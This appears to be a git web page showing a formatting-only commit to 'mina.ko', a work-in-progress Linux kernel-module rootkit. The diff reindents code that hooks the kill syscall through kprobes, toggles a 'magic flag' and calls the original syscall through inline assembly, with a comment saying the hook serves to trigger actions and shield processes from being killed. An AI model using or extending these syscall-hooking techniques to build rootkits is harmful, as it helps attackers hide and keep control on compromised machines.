mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 7992fc48a4b0ab181f2e06dc77776658a321c6e7
parent 8bebb8f74738eede6084d466dd34248b310e1403
Author: djnn <[email protected]>
Date: Wed, 11 Dec 2024 16:42:11 +0900

chore(meta): formatting

Diffstat:
Mrootkit/hooks/kill.c | 8++++----
Mrootkit/includes/mina.h | 2--
Mrootkit/mina.c | 30+++++++++++++++---------------

3 files changed, 19 insertions(+), 21 deletions(-)

diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -6,10 +6,10 @@ void *_kill = NULL;
 int magic_flag = 0;
 
 asmlinkage int64_t h_kill(const struct pt_regs *r) {
-  _kill = (!_kill) ? hook_linear_search("__x64_sys_kill") : _kill;
+    _kill = (!_kill) ? hook_linear_search("__x64_sys_kill") : _kill;
 
-  magic_flag = (magic_flag != 0);
-  printk(KERN_INFO "switched magic flag to %d. MEOW...\n", magic_flag);
+    magic_flag = (magic_flag != 0);
+    printk(KERN_INFO "switched magic flag to %d. MEOW...\n", magic_flag);
 
-  return make_syscall(_kill, r);
+    return make_syscall(_kill, r);
 }
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -18,11 +18,9 @@ typedef struct mina__hook {
 
 } hook_t;
 
-
 /* HOOKS definitions :) */
 asmlinkage int64_t h_kill(const struct pt_regs *);
 
-
 // hooks/utils.c
 int nb_hooks(void);
 void *hook_linear_search(const char *hk_name);
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -16,7 +16,7 @@ MODULE_VERSION("0.0.1");
 
 hook_t SYS_HOOKS[] = {
     /* used to trigger actions, prevent from killing some process */
-    {.hook = NULL, .kpb = { .symbol_name = "__x64_sys_kill" } },
+    {.hook = NULL, .kpb = {.symbol_name = "__x64_sys_kill"}},
 
 };
 
@@ -40,12 +40,12 @@ int make_syscall(void *callme, const struct pt_regs *regs) {
 
     int ret = 0;
     asm("mov %1, %%r14;"
-            "mov %2, %%rdi;"
-            "call *%3;"
-            "mov %%rax, %0"
-            : "=m"(ret)
-            : "i"(MINA_INHOOK_FLAG), "r"(regs), "m"(callme)
-            : "%r14", "%rdi", "%rax");
+        "mov %2, %%rdi;"
+        "call *%3;"
+        "mov %%rax, %0"
+        : "=m"(ret)
+        : "i"(MINA_INHOOK_FLAG), "r"(regs), "m"(callme)
+        : "%r14", "%rdi", "%rax");
     return ret;
 }
 
@@ -68,7 +68,7 @@ static void __setup_hooks(void) {
 
     printk(KERN_INFO "[MINA] setting up hooks\n");
 
-    for (int i = 0 ; i < nb_hooks(); i++) {
+    for (int i = 0; i < nb_hooks(); i++) {
         iter = &SYS_HOOKS[i];
         iter->kpb.pre_handler = __hook_tranpoline;
 
@@ -78,9 +78,9 @@ static void __setup_hooks(void) {
         }
 
         printk(KERN_INFO "[MINA] hooked %s (0x%px => 0x%px)",
-                iter->kpb.symbol_name,
-                iter->kpb.addr,
-                iter->hook);
+               iter->kpb.symbol_name,
+               iter->kpb.addr,
+               iter->hook);
     }
 }
 
@@ -89,13 +89,13 @@ static void __remove_hooks(void) {
 
     printk(KERN_INFO "[MINA] taking down hooks\n");
 
-    for (int i = 0 ; i < nb_hooks(); i++) {
+    for (int i = 0; i < nb_hooks(); i++) {
         iter = &SYS_HOOKS[i];
 
         printk(KERN_INFO "[MINA] removing hook for %s (0x%px => 0x%px)",
-                iter->kpb.symbol_name,
-                iter->hook,
-                iter->kpb.addr);
+               iter->kpb.symbol_name,
+               iter->hook,
+               iter->kpb.addr);
 
         unregister_kprobe(&iter->kpb);
     }